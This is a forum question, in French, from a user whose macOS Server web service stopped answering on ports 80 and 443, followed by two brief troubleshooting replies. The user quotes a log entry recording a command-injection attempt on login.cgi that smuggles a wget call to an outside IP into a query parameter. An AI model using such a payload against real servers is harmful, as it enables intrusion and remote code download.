histoire courte
Les ports 80 et 443 semblent être fermés sur mon serveur MacOS (vérifié avec l'utilitaire de réseau) - je ne peux accéder à aucun site web à partir du réseau local et d'Internet.
J'ai redémarré le service des sites Web et redémarré le serveur plusieurs fois.
Comment rouvrir les ports 80 et 443 ?
longue histoire
J'ai deux sites web hébergés sur mon serveur MacOS avec le service Sites web.
Il fonctionnait bien jusqu'à il y a deux jours.
Hier, je me suis rendu compte que je ne pouvais accéder à aucun des sites web du serveur, ni via le réseau local, ni depuis l'internet. Après enquête, je me suis rendu compte que les ports 80 et 443 ne sont pas ouverts sur la machine du serveur.
J'ai redémarré le serveur plusieurs fois, désactivé et réactivé le service Websites, sans changement.
Je ne vois rien de trop grave dans les journaux, à part une requête bizarre qui semble être le dernier accès au serveur web depuis le monde "extérieur" et qui se lit comme suit :
default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
J'utilise l'ancienne version de Server app - 5.6.3 sur MacOS 10.13.6.
Je n'ai pas installé/mis à jour ni modifié quoi que ce soit sur le serveur ou sur mon réseau local au cours des derniers jours.
mise à jour
J'ai remarqué que j'ai beaucoup d'entrées dans le journal système du serveur :
... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.
indépendamment du fait que le service des sites web fonctionne ou non
0 votes
Pouvez-vous vous connecter aux ports en utilisant Safari en local ? Si ce n'est pas le cas, vous devez vous concentrer sur les points suivants
lsof
et quel processus ouvre ces ports. Si c'est le cas, il s'agit d'un pare-feu ou d'un réseau. Une fois que l'on sait clairement lequel de ces trois éléments est à l'origine du problème, les solutions devraient être plus faciles à proposer.0 votes
J'ai eu des problèmes similaires une fois. Pour autant que je m'en souvienne, la seule solution était de désactiver complètement le serveur web dans l'application serveur, de redémarrer, puis de le configurer à nouveau site par site.